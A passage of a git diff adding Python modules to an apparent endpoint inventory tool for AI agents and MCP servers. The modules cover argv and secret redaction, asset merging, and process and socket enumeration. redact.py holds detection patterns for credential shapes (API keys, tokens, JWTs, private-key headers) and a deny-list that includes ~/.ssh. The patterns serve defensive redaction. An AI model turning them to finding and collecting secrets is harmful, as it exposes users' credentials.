logical or session.startswith("local_ditto_") + key = (dispatch, session) + if key in seen: + continue + seen.add(key) + out.append(Observation( + probe=self.name, channel="filesystem", kind="agent", + name="Claude Desktop agent session", path=logical, + matched_on="dispatch" if dispatch else "interactive", + catalog_id="claude-desktop", install_method="agent_session", owner=env.user, + identity_hint="sched:session:%s" % session, + extra={"flags": ["dispatch"] if dispatch else [], "session": session, + "risk_factors": ["unattended_run"] if dispatch else []}, + confidence=0.6, + )) + return out + + def _cloud_sessions(self, env: DiscoveryEnv) -> List[Observation]: + """Work dispatched to a vendor runner. The delegation is what we know.""" + out: List[Observation] = [] + for catalog_id, template in CLOUD_SESSION_FILES.items(): + logical = env.expand(template) + if not env.exists(logical): + continue + data = self.read_json(env, logical) + if not isinstance(data, (list, dict)): + continue + records = data if isinstance(data, list) else data.get("sessions", []) + entry = self.catalog.get(catalog_id) or {"name": catalog_id} + out.append(Observation( + probe=self.name, channel="config", kind="cloud_agent", + name=entry.get("name", catalog_id), path=logical, matched_on="cloud_sessions", + catalog_id=catalog_id, vendor=entry.get("vendor"), install_method="cloud", + owner=env.user, identity_hint="sched:cloud:%s" % catalog_id, + extra={"session_count": len(records), "location": "remote", + "risk_factors": ["unattended_run"], "scope": "cloud"}, + confidence=0.6, + )) + return out + + # -- helpers ---------------------------------------------------------- + + def _match(self, argv: List[str]) -> Optional[Dict[str, Any]]: + for token in argv: + name = posixpath.basename(str(token).replace("\\", "/")) + if name.lower().endswith(".exe"): + name = name[:-4] + entry = self.catalog.match("binaries", name) + if entry: + return entry + entry = self.catalog.match("npm_packages", str(token)) + if entry: + return entry + return None + + def _scheduled(self, env, path, entry, argv, schedule, mechanism, flags) -> Observation: + return Observation( + probe=self.name, channel="config", kind="scheduled_agent", name=entry["name"], + path=path, matched_on=mechanism, catalog_id=entry["id"], vendor=entry.get("vendor"), + install_method=mechanism, owner=env.user, + identity_hint="sched:%s:%s" % (entry["id"], path), + extra={"schedule": schedule, "argv": redact_argv(argv), "flags": flags, + "risk_factors": ["unattended_run"], "host_app": entry["id"]}, + confidence=0.6, + ) diff --git a/Discovery/adr_discovery/redact.py b/Discovery/adr_discovery/redact.py new file mode 100644 index 0000000..4a268f6 --- /dev/null +++ b/Discovery/adr_discovery/redact.py @@ -0,0 +1,193 @@ +"""Redaction, applied in the collector before a snapshot is ever written. + +Command lines are the highest-risk field in the module: a prompt can sit in an +argv and a token can be passed as a flag. Redaction therefore runs here rather +than centrally, so the risky text never leaves the endpoint at all. +""" + +import re +from typing import Dict, Iterable, List, Optional, Tuple + +#: Flags whose *value* is free text or secret material. The flag name is kept, +#: because the name is what carries the risk signal; the value never is. +VALUE_BEARING_FLAGS = frozenset({ + "-p", "--prompt", "--message", "-m", "--query", "--input", "--system-prompt", + "--api-key", "--token", "--password", "--secret", "--header", "--auth", +}) + +#: Paths no probe may read from or report. Enforced centrally so that a new +#: probe cannot opt out of it by accident. +DENY_PATH_PARTS = ( + "/documents/", "/desktop/", "/pictures/", "/movies/", "/music/", + "/library/mail/", "/appdata/roaming/microsoft/outlook/", "/.ssh/", +) + +_CONTROL = re.compile(r"\x1b\[[0-9;]*[a-zA-Z]|[\x00-\x1f\x7f]") +#: Shapes that are secret wherever they appear. Vendor prefixes are the easy +#: half; the second half catches credentials that carry no vendor marking at +#: all - a JWT, a bearer header, a PEM block - which is what a probe added +#: tomorrow is most likely to let through. +_SECRETISH = re.compile( + r"(sk-[A-Za-z0-9\-_]{8,}" + r"|sk_live_[A-Za-z0-9]{8,}" + r"|ghp_[A-Za-z0-9]{8,}" + r"|gho_[A-Za-z0-9]{8,}" + r"|ghs_[A-Za-z0-9]{8,}" + r"|github_pat_[A-Za-z0-9_]{16,}" + r"|glpat-[A-Za-z0-9\-_]{8,}" + r"|npm_[A-Za-z0-9]{16,}" + r"|xox[baprs]-[A-Za-z0-9\-]{8,}" + r"|AKIA[0-9A-Z]{12,}" + r"|ASIA[0-9A-Z]{12,}" + r"|AIza[A-Za-z0-9\-_]{20,}" + r"|ya29\.[A-Za-z0-9\-_]{16,}" + r"|eyJ[A-Za-z0-9\-_]{8,}\.[A-Za-z0-9\-_]{8,}\.[A-Za-z0-9\-_]{8,}" + r"|-----BEGIN [A-Z ]*PRIVATE KEY-----" + r"|(?i:bearer)\s+[A-Za-z0-9\-._~+/]{16,}=*" + r"|(?i:(?:api[_-]?key|token|secret|password|passwd|pwd)\s*[:=]\s*)" + r"[\"\']?[A-Za-z0-9\-._~+/]{12,}=*)" +) + +#: A flag whose *name* says it carries a credential, whatever its spelling. +#: Matched against a normalized name, so --api_key and --api-key are one thing. +_SECRET_FLAG = re.compile(r"^[a-z0-9-]*(key|token|secret|password|passwd|credential|auth)", + re.IGNORECASE) + +#: Separators a flag may use to carry its value inline. +_INLINE_SEPARATORS = ("=", ":") + +#: Prefixes that introduce a flag. Windows tools use "/name:value" as readily as +#: POSIX ones use "--name=value", and a redactor that knows only one of them +#: leaves the other in the clear. +_FLAG_PREFIXES = ("--", "-", "/") + + +def is_denied(path: str) -> bool: + """True when a path falls inside the personal-content deny-list.""" + lowered = "/" + str(path).replace("\\", "/").strip("/").lower() + "/" + return any(part in lowered for part in DENY_PATH_PARTS) + + +def sanitize(text: str) -> str: + """Strip control characters and ANSI escapes so output cannot inject. + + A server name containing a newline would otherwise break a JSONL line + downstream, which is log injection with extra steps. + """ + if not isinstance(text, str): + return text + return _CONTROL.sub("", text) + + +def redact_secretish(text: str) -> str: + """Mask anything key-shaped, wherever in the output it turns up.""" + if not isinstance(text, str): + return text + return _SECRETISH.sub("[REDACTED]", sanitize(text)) + + +def looks_like_flag(token: str) -> bool: + """Whether a token introduces an option in POSIX or Windows spelling.""" + text = str(token) + if text.startswith("--") or (text.startswith("-") and len(text) > 1): + return True + # A single slash followed by a letter is a Windows flag; a path is not. + return bool(re.match(r"^/[A-Za-z][A-Za-z0-9_-]*(?:[:=]|$)", text)) + + +def split_flag(token: str): + """Split ``--name=value``, ``--name:value`` or ``/name:value`` into parts. + + All three separators are in common use, and a flag that carries its value + inline must not be mistaken for a bare flag: doing so leaks the value *and* + leaves the parser one token out of step, so the next real flag is eaten as a + value and its value walks out in the clear. + """ + for separator in _INLINE_SEPARATORS: + if separator in token: + name, _, value = token.partition(separator) + if looks_like_flag(name): + return name, separator, value + return token, "", "" + + +def normalize_flag(name: str) -> str: + """Reduce a flag to its letters: ``--api_key``, ``-p`` and ``/Token`` alike. + + Returned without any prefix so that callers can hold one set of names + instead of one per spelling, which is how a short option ended up outside a + table that listed only its long form. + """ + return str(name).lstrip("-/").replace("_", "-").lower() + + +#: The same names, prefix-free, so a lookup never depends on the spelling. +_VALUE_BEARING_NAMES = frozenset(normalize_flag(flag) for flag in VALUE_BEARING_FLAGS) + + +def is_secret_flag(name: str) -> bool: + normalized = normalize_flag(name) + return normalized in _VALUE_BEARING_NAMES or bool(_SECRET_FLAG.match(normalized)) + + +def redact_argv(argv: Iterable[str]) -> List[str]: + """Keep argv[0] and flag names; drop every free-text or secret value.""" + items = [str(item) for item in argv] + if not items: + return [] + out = [sanitize(items[0])] + drop_next = False + for token in items[1:]: + clean = sanitize(token) + if drop_next: + # Whatever follows a credential flag is redacted, even when it looks + # like a flag itself: a secret beginning with a hyphen is still a + # secret, and guessing wrong in the other direction publishes it. + out.append("[REDACTED]") + drop_next = False + continue + if looks_like_flag(clean): + name, separator, _ = split_flag(clean) + if is_secret_flag(name): + out.append(name + separator + "[REDACTED]" if separator else name) + drop_next = not separator + else: + out.append(redact_secretish(clean)) + continue + out.append(redact_secretish(clean)) + return out + + +def redact_url(url: str) -> str: + """Drop query strings, fragments and userinfo; keep scheme, host and path.""" + clean = sanitize(str(url)).split("#", 1)[0].split("?", 1)[0] + if "://" in clean: + scheme, rest = clean.split("://", 1) + head, slash, tail = rest.partition("/") + if "@" in head: + head = head.split("@", 1)[1] + clean = scheme + "://" + head + slash + tail + return clean + + +def redact_env_block(env: Optional[Dict[str, str]]) -> Tuple[List[str], List[str]]: + """Return (variable names, provider kinds). Values are never returned.""" + if not env: + return [], [] + names = sorted(sanitize(str(key)) for key in env.keys()) + kinds = sorted({kind for kind in (_key_kind(name) for name in names) if kind}) + return names, kinds + + +def _key_kind(name: str) -> Optional[str]: + upper = name.upper() + if not any(word in upper for word in ("KEY", "TOKEN", "SECRET", "PASSWORD")): + return None + for needle, kind in ( + ("ANTHROPIC", "anthropic"), ("OPENAI", "openai"), ("GEMINI", "google"), + ("GOOGLE", "google"), ("MISTRAL", "mistral"), ("COHERE", "cohere"), + ("GITHUB", "github"), ("AWS", "aws"), ("SLACK", "slack"), ("JIRA", "atlassian"), + ): + if needle in upper: + return kind + return "other" diff --git a/Discovery/adr_discovery/resolver.py b/Discovery/adr_discovery/resolver.py new file mode 100644 index 0000000..bd53ae1 --- /dev/null +++ b/Discovery/adr_discovery/resolver.py @@ -0,0 +1,400 @@ +"""Stage 3: merge observations into assets, and Stage 4: rank them by liveness. + +This is where inventories fail, in both directions. A false split counts one +tool four times and destroys operator trust on first read; a false merge +collapses two tools and silently hides one. Real-path resolution prevents the +first, conflicting identity prevents the second. +""" + +import hashlib +from typing import Dict, List, Optional + +from .base_probe import Observation +from .schema import DiscoveredAsset, Evidence + +#: Kind precedence when observations of one asset disagree. +KIND_RANK = ("mcp_server", "model_runtime", "app", "cli_agent", "extension") + + +class _UnionFind: + def __init__(self, size: int): + self.parent = list(range(size)) + + def find(self, index: int) -> int: + while self.parent[index] != index: + self.parent[index] = self.parent[self.parent[index]] + index = self.parent[index] + return index + + def union(self, left: int, right: int) -> None: + root_left, root_right = self.find(left), self.find(right) + if root_left != root_right: + self.parent[root_right] = root_left + + +def merge_keys(observation: Observation) -> List[str]: + """Identity keys, strongest first. A missing key is never a match. + + An MCP server has no path to resolve, so its identity is what it launches. + Everything else resolves through the real path, which is what collapses a + binary, its symlink and its package metadata into one asset. + """ + if observation.kind == "mcp_server" and observation.identity_hint: + return [observation.identity_hint] + keys = [] + if observation.realpath: + keys.append("rp:" + observation.realpath) + if observation.pkg_identity: + keys.append("pkg:" + observation.pkg_identity) + team = (observation.signature or {}).get("team_id") + if team and observation.catalog_id: + keys.append("sig:%s:%s" % (team, observation.catalog_id)) + return keys + + +#: Identity fields that may hold at most one distinct value per asset. ``owner`` +#: tolerates "system" alongside a person: a user's shim pointing at a +#: machine-wide install is one asset, two people's installs are two. +IDENTITY_FIELDS = ("catalog_id", "pkg_identity", "owner") + + +def _identity_sets(observation: Observation) -> Dict[str, set]: + sets: Dict[str, set] = {} + for field in IDENTITY_FIELDS: + value = getattr(observation, field, None) + sets[field] = {value} if value else set() + return sets + + +def _merge_identity(left: Dict[str, set], right: Dict[str, set]) -> Optional[Dict[str, set]]: + """Union two groups' identities, or None when that would name two things.""" + merged: Dict[str, set] = {} + for field in IDENTITY_FIELDS: + values = left.get(field, set()) | right.get(field, set()) + if field == "owner": + values_to_count = {value for value in values if value != "system"} + else: + values_to_count = values + if len(values_to_count) > 1: + return None + merged[field] = values + return merged + + +def conflicts(left: Observation, right: Observation) -> bool: + """Two observations that name different things may never merge. + + Without this, two unrelated CLIs whose shims resolve through one shared + wrapper collapse into a single asset and one of them disappears from the + inventory entirely. + """ + if left.catalog_id and right.catalog_id and left.catalog_id != right.catalog_id: + return True + if left.pkg_identity and right.pkg_identity and left.pkg_identity != right.pkg_identity: + return True + if (left.owner and right.owner and left.owner != right.owner + and "system" not in (left.owner, right.owner)): + # Two people's installs are two assets. A user's shim pointing at a + # machine-wide install is still one asset. + return True + return False + + +def resolve(observations: List[Observation], + telemetry: Optional[Dict[str, str]] = None) -> List[DiscoveredAsset]: + """Union-find over identity keys, then one asset per group.""" + telemetry = telemetry or {} + # Attributes of an install rather than installs in their own right: a state + # directory, a model store, a listening port. They bind to the install they + # belong to, and only stand alone when there is nothing to bind to. + attributes = [o for o in observations if (o.identity_hint or "").startswith("attr:")] + primary = [o for o in observations if not (o.identity_hint or "").startswith("attr:")] + + union = _UnionFind(len(primary)) + buckets: Dict[str, List[int]] = {} + for index, observation in enumerate(primary): + for key in merge_keys(observation): + buckets.setdefault(key, []).append(index) + # Conflict is a property of the merged group, never of a pair. A bridging + # observation shares a key with two unrelated tools, and pairwise checks + # wave it through in both directions; transitivity then unites the tools and + # one of them disappears from the inventory. + identity: Dict[int, Dict[str, set]] = {} + for index, observation in enumerate(primary): + identity[index] = _identity_sets(observation) + for members in buckets.values(): + anchor = members[0] + for other in members[1:]: + left, right = union.find(anchor), union.find(other) + if left == right: + continue + merged = _merge_identity(identity.get(left, {}), identity.get(right, {})) + if merged is None: + continue + union.union(anchor, other) + identity[union.find(anchor)] = merged + + groups: Dict[int, List[Observation]] = {} + for index, observation in enumerate(primary): + groups.setdefault(union.find(index), []).append(observation) + + assets = [_build(group) for group in groups.values()] + _attach_attributes(assets, attributes) + for asset in assets: + _apply_telemetry(asset, telemetry) + _finalize_liveness(asset) + asset.compute_id() + _ensure_unique_ids(assets) + return sorted(assets, key=lambda a: (a.kind, a.name.lower(), a.install_path or "")) + + +def _ensure_unique_ids(assets: List[DiscoveredAsset]) -> None: + """Guarantee one id per asset before anything downstream indexes by it. + + Two assets sharing an id are indistinguishable to every consumer: a diff + keyed on it silently keeps whichever came last, so one of them stops + existing without anything reporting a loss. + """ + seen: Dict[str, DiscoveredAsset] = {} + for asset in assets: + if asset.asset_id not in seen: + seen[asset.asset_id] = asset + continue + discriminator = hashlib.sha256( + ("%s|%s" % (asset.install_path or "", len(seen))).encode()).hexdigest()[:6] + asset.asset_id = "%s-%s" % (asset.asset_id[:9], discriminator) + if "ambiguous_identity" not in asset.flags: + asset.flags.append("ambiguous_identity") + seen[asset.asset_id] = asset + + +def _build(group: List[Observation]) -> DiscoveredAsset: + ordered = sorted(group, key=lambda o: (-o.confidence, o.path)) + kind = min((o.kind for o in ordered), + key=lambda value: KIND_RANK.index(value) if value in KIND_RANK else 99) + anchor = next((o for o in ordered if o.catalog_id), ordered[0]) + asset = DiscoveredAsset(kind=kind, name=anchor.name, identity=_identity(anchor, ordered), + owner=anchor.owner, vendor=anchor.vendor, catalog_id=anchor.catalog_id) + for observation in ordered: + asset.evidence.append(Evidence(observation.probe, observation.channel, observation.path, + observation.matched_on, observation.confidence)) + _absorb(asset, observation) + if not asset.install_path: + asset.install_path = anchor.path + asset.signature.setdefault("signed", False) + if any(o.matched_on.startswith("sha256:") for o in ordered) and "alias" not in asset.flags: + asset.flags.append("alias") + return asset + + +#: Observation metadata carried onto the asset as-is. These are descriptive +#: facts a probe learned - a hook's event, a skill's description, an +#: instruction file's format - rather than fields the resolver reasons about. +PASSTHROUGH_KEYS = ( + "scope", "host_app", "plugin", "description", "line_count", "helpers", "network_hosts", + "event", "matcher", "handler", "target", "destination", "server", "format", "imports", + "globs", "author", "source", "tools", "model", "event_known", "bundle", "project", + "host", "extension_id", "schedule", "trigger", "repository", "image", "account_type", + "auth_method", "session_count", "worktrees", "repositories", "mode", "mounts", + "secrets", "session", "sessions", "enabled_by", +) + +#: Version sources, most authoritative first. A self-updating CLI leaves stale +#: package metadata behind, so what the binary reports wins. +VERSION_PRECEDENCE = ("runtime", "plist", "registry", "package", "unknown") + + +#: Config scopes, weakest first. Precedence, not arrival order, decides which +#: one an asset reports: enterprise policy outranks a project file, which +#: outranks a personal one. +SCOPE_RANK = ("user", "project", "enterprise_managed") + + +def _stronger_scope(current: Optional[str], incoming: str) -> str: + """Return whichever scope carries more authority.""" + if not current: + return incoming + def rank(value): + return SCOPE_RANK.index(value) if value in SCOPE_RANK else -1 + return incoming if rank(incoming) > rank(current) else current + + +def _absorb(asset: DiscoveredAsset, observation: Observation) -> None: + """Fold one observation's facts into the asset, first writer wins.""" + extra = observation.extra or {} + if observation.version: + _absorb_version(asset, observation.version, extra.get("version_source", "unknown")) + if observation.install_root and not asset.install_root: + asset.install_root = observation.install_root + if observation.install_method != "unknown" and asset.install_method == "unknown": + asset.install_method = observation.install_method + if observation.channel in ("filesystem", "package_registry", "config") and not asset.install_path: + asset.install_path = observation.path + if (observation.signature or {}).get("signed") or not asset.signature: + asset.signature = dict(observation.signature or {}) + for flag in extra.get("flags", []): + if flag not in asset.flags: + asset.flags.append(flag) + if extra.get("bytes"): + asset.risk["bytes"] = extra["bytes"] + if extra.get("models"): + asset.models = sorted(set(asset.models) | set(extra["models"])) + if extra.get("port"): + ports = set(asset.network.get("listening_ports", [])) | {extra["port"]} + asset.network["listening_ports"] = sorted(ports) + if extra.get("url"): + asset.network["endpoint"] = extra["url"] + if extra.get("transport"): + asset.transport = extra["transport"] + if extra.get("scope"): + # Highest precedence wins, not the last observation to arrive. A server + # pushed by policy and *also* declared by the user is still an + # enterprise-managed server; reporting "user" because that config was + # read second inverts the one field an operator uses to tell corporate + # policy from something an employee added. + asset.config_scope = _stronger_scope(asset.config_scope, extra["scope"]) + if extra.get("parent_agent"): + asset.parent_agent = asset.parent_agent or extra["parent_agent"] + parents = set(asset.risk.get("parent_agents", [])) | {extra["parent_agent"]} + asset.risk["parent_agents"] = sorted(parents) + if extra.get("enabled") is not None: + # A server enabled anywhere it is declared is live. Disabled in one + # place and enabled in another is enabled. An unknown approval state is + # left unknown rather than promoted to either answer. + asset.risk["enabled"] = bool(asset.risk.get("enabled")) or bool(extra["enabled"]) + if extra.get("stored_credential"): + asset.risk["stored_credential"] = True + if extra.get("source"): + asset.risk["source"] = extra["source"] + if extra.get("location") and not asset.location: + asset.location = extra["location"] + if extra.get("ai_enabled") is not None: + asset.risk["ai_enabled"] = extra["ai_enabled"] + if extra.get("argv") and "argv" not in asset.risk: + # Flag *names* are kept because they carry the risk signal - permission + # bypass, unpinned launch, remote target. Their values were dropped in + # the collector before this point. + asset.risk["argv"] = extra["argv"] + if extra.get("command") is not None and "command" not in asset.risk: + asset.risk["command"] = extra.get("command") + asset.risk["args"] = extra.get("args") + if "pinned" in extra: + # Any declaration that is unpinned makes the asset unpinned: the risky + # launch is the one that will happen. + asset.risk["pinned"] = bool(extra["pinned"]) and asset.risk.get("pinned", True) + for factor in extra.get("risk_factors", []): + if factor not in asset.risk["factors"]: + asset.risk["factors"].append(factor) + if extra.get("env_names"): + asset.risk["env_names"] = extra["env_names"] + if extra.get("credential_kinds"): + asset.risk["credential_kinds"] = extra["credential_kinds"] + if extra.get("running"): + asset.liveness = "running" + for key in PASSTHROUGH_KEYS: + if key in extra and extra[key] is not None and key not in asset.risk: + asset.risk[key] = extra[key] + + +def _absorb_version(asset: DiscoveredAsset, version: str, source: str) -> None: + """Take the most authoritative version, and say so when sources disagree.""" + rank = VERSION_PRECEDENCE.index(source) if source in VERSION_PRECEDENCE else 99 + current = asset.risk.get("version_rank", 99) + if asset.version and asset.version != version and "version_conflict" not in asset.flags: + asset.flags.append("version_conflict") + if asset.version is None or rank < current: + asset.version = version + asset.risk["version_rank"] = rank + + +def _identity(anchor: Observation, group: List[Observation]) -> str: + if anchor.kind == "mcp_server" and anchor.identity_hint: + return anchor.identity_hint + if anchor.catalog_id: + return anchor.catalog_id + for observation in group: + if observation.realpath: + return "unknown:" + observation.realpath + return "unknown:" + anchor.path + + +def _attach_attributes(assets: List[DiscoveredAsset], attributes: List[Observation]) -> None: + """Bind an attribute observation to its install, or let it stand alone. + + A leftover state directory must not resurrect an uninstalled tool at full + confidence, so an unbound one becomes its own ``state_only`` asset. A model + store or a listening port with no install behind it is reported the same way + - present, but not pretending to be a full install record. + """ + orphans: Dict[tuple, DiscoveredAsset] = {} + for observation in attributes: + catalog_id = observation.identity_hint.split(":", 1)[1] + # Prefer an install owned by the same user; fall back to a system-wide + # one, since a machine-wide app with per-user state is the normal shape. + candidates = [asset for asset in assets + if asset.catalog_id == catalog_id and "state_only" not in asset.flags + and asset.owner in (observation.owner, "system", "")] + if candidates: + target = sorted(candidates, + key=lambda a: (a.owner != observation.owner, -len(a.channels), + a.install_path or ""))[0] + target.evidence.append(Evidence(observation.probe, observation.channel, + observation.path, observation.matched_on, + observation.confidence)) + _absorb(target, observation) + continue + existing = orphans.get((catalog_id, observation.owner)) + if existing is not None: + # Several attributes of one absent install - a state directory and a + # model store, say - are one record, not one record each. + existing.evidence.append(Evidence(observation.probe, observation.channel, + observation.path, observation.matched_on, + observation.confidence)) + _absorb(existing, observation) + continue + orphan = DiscoveredAsset(kind=observation.kind, name=observation.name, identity=catalog_id, + owner=observation.owner, vendor=observation.vendor, + catalog_id=catalog_id, install_path=observation.path, + install_root=observation.path) + if observation.matched_on == "state_dir": + orphan.flags.append("state_only") + orphan.evidence.append(Evidence(observation.probe, observation.channel, observation.path, + observation.matched_on, observation.confidence)) + _absorb(orphan, observation) + orphans[(catalog_id, observation.owner)] = orphan + assets.append(orphan) + + +def _apply_telemetry(asset: DiscoveredAsset, telemetry: Dict[str, str]) -> None: + """Usage attribution from Sensor events: free, continuous, and ours alone.""" + stamp = telemetry.get(asset.catalog_id or "") or telemetry.get(asset.identity) + if not stamp: + return + asset.last_used = stamp + asset.evidence.append(Evidence("sensor", "telemetry", asset.install_path or "", + "session_events", 0.7)) + + +#: Kinds that describe something arranged to run rather than something running. +DECLARATIVE_KINDS = ("agent_definition", "scheduled_agent", "ci_agent", "cloud_agent", + "skill", "command", "hook", "output_style", "rules", "instructions", + "plugin") + + +def _finalize_liveness(asset: DiscoveredAsset) -> None: + if asset.liveness == "running": + return + if asset.kind in DECLARATIVE_KINDS: + # A definition is not an installation. It is arranged to run, and until + # telemetry or a process says otherwise that is all we know. + asset.liveness = "declared_only" + return + if "state_only" in asset.flags: + # A leftover state directory is residue. Calling it installed invites + # somebody to go looking for a binary that is not there. + asset.liveness = "declared_only" + return + if asset.channels == ["config"]: + # Declared but never seen running and never used: a cleanup candidate, + # not a threat. + asset.liveness = "installed" if asset.last_used else "declared_only" diff --git a/Discovery/adr_discovery/runner.py b/Discovery/adr_discovery/runner.py new file mode 100644 index 0000000..3d00829 --- /dev/null +++ b/Discovery/adr_discovery/runner.py @@ -0,0 +1,365 @@ +"""Stage orchestration: enumerate, fingerprint, infer, resolve, rank, report.""" + +import os +import platform as platform_mod +import socket as socket_mod +import time +from datetime import datetime +from typing import Any, Dict, List, Optional + +from .catalog import Catalog +from .env import DiscoveryEnv +from .probes import ALL_PROBES +from .probes.openworld import OpenWorldProbe +from .redact import redact_secretish, sanitize +from .resolver import resolve +from .schema import DiscoveredAsset, DiscoverySnapshot + + +def discover(env: DiscoveryEnv, catalog: Optional[Catalog] = None, + hostname: Optional[str] = None, timestamp: Optional[str] = None) -> DiscoverySnapshot: + """Run every supported probe against ``env`` and resolve one snapshot. + + A snapshot is emitted even when nothing is found: to fleet coverage, a host + that reported an empty inventory and a host that never reported are very + different facts. + """ + catalog = catalog or Catalog.load() + started = time.time() + for duplicate in catalog.duplicates: + env.errors.append({"probe": "catalog", "path": "catalog.json", + "message": "ambiguous fingerprint %s=%s claimed by %s" + % (duplicate["field"], duplicate["value"], + duplicate["entries"])}) + observations = [] + per_probe: Dict[str, Any] = {} + + for probe_class in ALL_PROBES: + probe = probe_class(catalog) + if not probe.supports(env): + continue + probe_started = time.time() + found = probe.run(env) + per_probe[probe.name] = {"count": len(found), + "ms": round((time.time() - probe_started) * 1000, 1)} + observations.extend(found) + + observations.extend(correlate_declared_servers(env, observations, catalog)) + review_queue = OpenWorldProbe(catalog).score_candidates(env, observations) + assets = resolve(observations, telemetry=env.telemetry) + mark_effective_scope(assets) + findings = derive_findings(assets) + + snapshot = DiscoverySnapshot( + hostname=hostname or socket_mod.gethostname(), + username=env.user, + platform=env.platform, + timestamp=timestamp or datetime.utcnow().isoformat(timespec="seconds") + "Z", + assets=assets, + review_queue=review_queue, + findings=findings, + errors=list(env.errors), + stats={"probes": per_probe, "catalog_version": catalog.version, + "wall_ms": round((time.time() - started) * 1000, 1), + "asset_count": len(assets), "review_queue_count": len(review_queue), + "error_count": len(env.errors), "coverage": dict(env.coverage)}, + ) + return scrub(snapshot) + + +def live_env(**overrides) -> DiscoveryEnv: + """A :class:`DiscoveryEnv` bound to the real machine. + + Deliberately the only place in the package that touches the live host, so + everything downstream of it stays testable. + """ + from pathlib import Path + + system = platform_mod.system() + kind = {"Darwin": "darwin", "Windows": "windows"}.get(system, "linux") + defaults = { + "root": Path("/"), + "platform": kind, + "home": str(Path.home()), + "user": os.environ.get("USER") or os.environ.get("USERNAME") or "unknown", + "env_vars": dict(os.environ), + "case_insensitive": kind == "darwin", + "runner": _subprocess_runner, + "http": _localhost_probe, + "processes": _live_processes(), + "sockets": _live_sockets(), + } + defaults.update(overrides) + return DiscoveryEnv(**defaults) + + +#: Ceiling on what one child process may hand back. A timeout bounds how long a +#: command runs; without this a command that returns promptly and prints forever +#: is still unbounded. +MAX_SUBPROCESS_BYTES = 1_000_000 + + +def _subprocess_runner(argv, timeout): + """Run a command under a hard timeout and a hard output ceiling. + + The kill matters twice over: a binary that never returns from ``--version`` + would otherwise leak a process for every scan, and one that floods stdout + would otherwise be read into memory in full. + """ + import subprocess + import threading + + process = subprocess.Popen(argv, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, + stdin=subprocess.DEVNULL) + collected = bytearray() + truncated = [False] + + def drain(): + while True: + block = process.stdout.read(65536) + if not block: + return + if len(collected) < MAX_SUBPROCESS_BYTES: + collected.extend(block[:MAX_SUBPROCESS_BYTES - len(collected)]) + else: + truncated[0] = True + process.kill() + return + + reader = threading.Thread(target=drain, daemon=True) + reader.start() + reader.join(timeout) + if reader.is_alive(): + process.kill() + reader.join(1.0) + raise TimeoutError("timed out after %ss" % timeout) + process.wait(timeout=1.0) + text = bytes(collected).decode("utf-8", "replace") + if truncated[0]: + text += "\n[output truncated at %d bytes]" % MAX_SUBPROCESS_BYTES + return process.returncode, text + + +def _localhost_probe(port, path): + """GET a loopback endpoint with a short timeout. Loopback only, by design.""" + import json as json_mod + import socket as socket_lib + import urllib.request + + # A port that is listening but not speaking HTTP must cost a fraction of a + # second, not a full timeout: most listeners on a developer machine are not + # inference servers. + with socket_lib.create_connection(("127.0.0.1", port), timeout=0.3): + pass + request = urllib.request.Request("http://127.0.0.1:%d%s" % (port, path)) + with urllib.request.urlopen(request, timeout=0.5) as response: + return json_mod.loads(response.read(2_000_000).decode("utf-8", "replace")) + + +def _live_processes(): + """Own-UID process table via ``ps``. + + Own-UID is sufficient for endpoint discovery - the agents run as the user - + and it keeps the collector unprivileged. The filter is applied twice: ``ps`` + is asked for one user, and rows are checked again after parsing, because + collecting another person's command lines is both a privacy problem and an + attribution error. + """ + import getpass + import subprocess + + from .env import ProcessInfo + + try: + user = getpass.getuser() + except Exception: + user = os.environ.get("USER") or os.environ.get("USERNAME") or "" + fields = "pid=,ppid=,user=,comm=,args=" + for argv in (["ps", "-u", user, "-o", fields], ["ps", "-xo", fields]): + try: + raw = subprocess.run(argv, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, + timeout=5).stdout.decode("utf-8", "replace") + except Exception: + continue + processes = [] + for line in raw.splitlines(): + parts = line.split(None, 4) + if len(parts) < 5 or not parts[0].isdigit(): + continue + pid, ppid, owner, comm, args = parts + if user and owner != user: + continue + processes.append(ProcessInfo(int(pid), int(ppid), comm, args.split(), user=owner)) + if processes: + return tuple(processes) + return () + + +def _live_sockets(): + """Listening TCP sockets owned by this user. + + Without this the runtime probe is fully tested and entirely inert in + production: every port-based detection passes on fixtures and finds nothing + on a real endpoint. + """ + import getpass + import re as re_mod + import subprocess + + from .env import SocketInfo + + if platform_mod.system() == "Windows": + argv = ["netstat", "-ano", "-p", "TCP"] + else: + try: + user = getpass.getuser() + except Exception: + user = "" + argv = ["lsof", "-nP", "-iTCP", "-sTCP:LISTEN"] + (["-u", user] if user else []) + try: + raw = subprocess.run(argv, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, + timeout=5).stdout.decode("utf-8", "replace") + except Exception: + return () + sockets = {} + for line in raw.splitlines(): + if platform_mod.system() == "Windows": + match = re_mod.match(r"\s*TCP\s+\S+:(\d+)\s+\S+\s+LISTENING\s+(\d+)", line) + if match: + sockets[int(match.group(1))] = SocketInfo(int(match.group(2)), + int(match.group(1))) + continue + parts = line.split() + if len(parts) < 9 or not parts[1].isdigit(): + continue + match = re_mod.search(r":(\d+)$", parts[8]) + if match: + sockets[int(match.group(1))] = SocketInfo(int(parts[1]), int(match.group(1))) + return tuple(sockets.values()) + + +def correlate_declared_servers(env, observations, catalog): + """Match running child processes against servers a config already declares. + + Runtime identification alone has to be strict, or ordinary development + becomes a stream of findings. Correlation is where the strictness is paid + back: a server that names itself nothing recognizable is still recognized + the moment a config on this host declares the very command that is running. + """ + import posixpath + + from .base_probe import Observation + from .probes.mcp import server_identity + from .redact import redact_argv + + declared = {} + for observation in observations: + if observation.kind == "mcp_server" and observation.channel == "config": + declared[observation.identity_hint] = observation + seen_runtime = {o.identity_hint for o in observations + if o.kind == "mcp_server" and o.channel == "runtime"} + if not declared: + return [] + + by_pid = {process.pid: process for process in env.processes} + recovered = [] + for process in env.processes: + parent = by_pid.get(process.ppid) + if parent is None: + continue + parent_entry = catalog.match("binaries", posixpath.basename(parent.exe)) + if not parent_entry: + continue + argv = redact_argv(process.argv) + identity = server_identity("stdio", process.exe, list(process.argv[1:]), "") + if identity not in declared or identity in seen_runtime: + continue + seen_runtime.add(identity) + source = declared[identity] + recovered.append(Observation( + probe="correlation", channel="runtime", kind="mcp_server", name=source.name, + path=process.exe, matched_on="declared_and_running", + install_method=source.install_method, identity_hint=identity, + owner=process.user or env.user, + extra={"pid": process.pid, "ppid": parent.pid, "argv": argv, + "parent_agent": parent_entry["id"], "transport": "stdio", "running": True}, + confidence=0.6, + )) + return recovered + + +#: Which declaration wins when one name exists at several scopes. Enterprise +#: policy 